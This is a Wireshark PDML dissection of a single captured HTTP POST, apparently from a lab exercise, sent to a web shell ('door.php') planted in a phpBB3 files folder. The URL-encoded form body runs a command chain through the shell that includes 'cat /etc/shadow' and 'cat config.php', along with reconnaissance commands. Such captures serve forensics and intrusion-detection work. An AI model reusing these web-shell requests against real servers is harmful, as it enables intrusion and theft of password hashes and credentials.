<packet>
  <proto name="geninfo" pos="0" showname="General information" size="905">
    <field name="num" pos="0" show="1806" showname="Number" value="70e" size="905"/>
    <field name="len" pos="0" show="905" showname="Packet Length" value="389" size="905"/>
    <field name="caplen" pos="0" show="905" showname="Captured Length" value="389" size="905"/>
    <field name="timestamp" pos="0" show="Jun 10, 2011 16:10:57.205507000" showname="Captured Time" value="1307715057.205507000" size="905"/>
  </proto>
<proto name="http" showname="Hypertext Transfer Protocol" size="651" pos="68">
    <field name="" show="POST /phpbb3/files/door.php?act=cmd HTTP/1.1\r\n" size="46" pos="68" value="504f5354202f7068706262332f66696c65732f646f6f722e7068703f6163743d636d6420485454502f312e310d0a">
      <field name="http.request.method" showname="Request Method: POST" size="4" pos="68" show="POST" value="504f5354"/>
      <field name="http.request.uri" showname="Request URI: /phpbb3/files/door.php?act=cmd" size="30" pos="73" show="/phpbb3/files/door.php?act=cmd" value="2f7068706262332f66696c65732f646f6f722e7068703f6163743d636d64"/>
      <field name="http.request.version" showname="Request Version: HTTP/1.1" size="8" pos="104" show="HTTP/1.1" value="485454502f312e31"/>
    </field>
    <field name="http.host" showname="Host: 192.168.147.128\r\n" size="23" pos="114" show="192.168.147.128" value="486f73743a203139322e3136382e3134372e3132380d0a"/>
    <field name="http.user_agent" showname="User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\r\n" size="116" pos="137" show="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3" value="557365722d4167656e743a204d6f7a696c6c612f352e3020285831313b20553b204c696e757820693638363b20656e2d55533b2072763a312e392e302e3329204765636b6f2f32303038303932353130205562756e74752f382e303420286861726479292046697265666f782f332e302e330d0a"/>
    <field name="http.accept" showname="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" size="73" pos="253" show="text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" value="4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e380d0a"/>
    <field name="http.accept_language" showname="Accept-Language: en-us,en;q=0.5\r\n" size="33" pos="326" show="en-us,en;q=0.5" value="4163636570742d4c616e67756167653a20656e2d75732c656e3b713d302e350d0a"/>
    <field name="http.accept_encoding" showname="Accept-Encoding: gzip,deflate\r\n" size="31" pos="359" show="gzip,deflate" value="4163636570742d456e636f64696e673a20677a69702c6465666c6174650d0a"/>
    <field name="" show="Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" size="48" pos="390" value="4163636570742d436861727365743a2049534f2d383835392d312c7574662d383b713d302e372c2a3b713d302e370d0a"/>
    <field name="" show="Keep-Alive: 300\r\n" size="17" pos="438" value="4b6565702d416c6976653a203330300d0a"/>
    <field name="http.connection" showname="Connection: keep-alive\r\n" size="24" pos="455" show="keep-alive" value="436f6e6e656374696f6e3a206b6565702d616c6976650d0a"/>
    <field name="http.referer" showname="Referer: http://192.168.147.128/phpbb3/files/door.php\r\n" size="55" pos="479" show="http://192.168.147.128/phpbb3/files/door.php" value="526566657265723a20687474703a2f2f3139322e3136382e3134372e3132382f7068706262332f66696c65732f646f6f722e7068700d0a"/>
    <field name="http.cookie" showname="Cookie: style_cookie=null; phpbb3_ss2cb_u=1; phpbb3_ss2cb_k=; phpbb3_ss2cb_sid=44242c621089263f189e2dc18fd0aa07\r\n" size="113" pos="534" show="style_cookie=null; phpbb3_ss2cb_u=1; phpbb3_ss2cb_k=; phpbb3_ss2cb_sid=44242c621089263f189e2dc18fd0aa07" value="436f6f6b69653a207374796c655f636f6f6b69653d6e756c6c3b207068706262335f73733263625f753d313b207068706262335f73733263625f6b3d3b207068706262335f73733263625f7369643d34343234326336323130383932363366313839653264633138666430616130370d0a"/>
    <field name="http.content_type" showname="Content-Type: application/x-www-form-urlencoded\r\n" size="49" pos="647" show="application/x-www-form-urlencoded" value="436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a"/>
    <field name="http.content_length" showname="Content-Length: 186" size="21" pos="696" show="186" value="436f6e74656e742d4c656e6774683a203138360d0a"/>
    <field name="" show="\r\n" size="2" pos="717" value="0d0a"/>
    <field name="http.request" showname="Request: True" hide="yes" size="0" pos="68" show="1"/>
  </proto>
  <proto name="data-text-lines" showname="Line-based text data: application/x-www-form-urlencoded" size="186" pos="719">
    <field name="" show="act=cmd&amp;d=%2Fhome%2Fmvella%2Fworkbench%2Fr6%2Fphpbb3%2Ffiles%2F&amp;cmd=ls%3B+pwd%3B+uname+-a%3B+w%3B+ls+-la%3B+cat+%2Fetc%2Fshadow%3B+cat+config.php%3B+touch+step4g&amp;cmd_txt=1&amp;submit=Execute" size="186" pos="719" value="6163743d636d6426643d253246686f6d652532466d76656c6c61253246776f726b62656e6368253246723625324670687062623325324666696c657325324626636d643d6c732533422b7077642533422b756e616d652b2d612533422b772533422b6c732b2d6c612533422b6361742b253246657463253246736861646f772533422b6361742b636f6e6669672e7068702533422b746f7563682b73746570346726636d645f7478743d31267375626d69743d45786563757465"/>
  </proto>
</packet>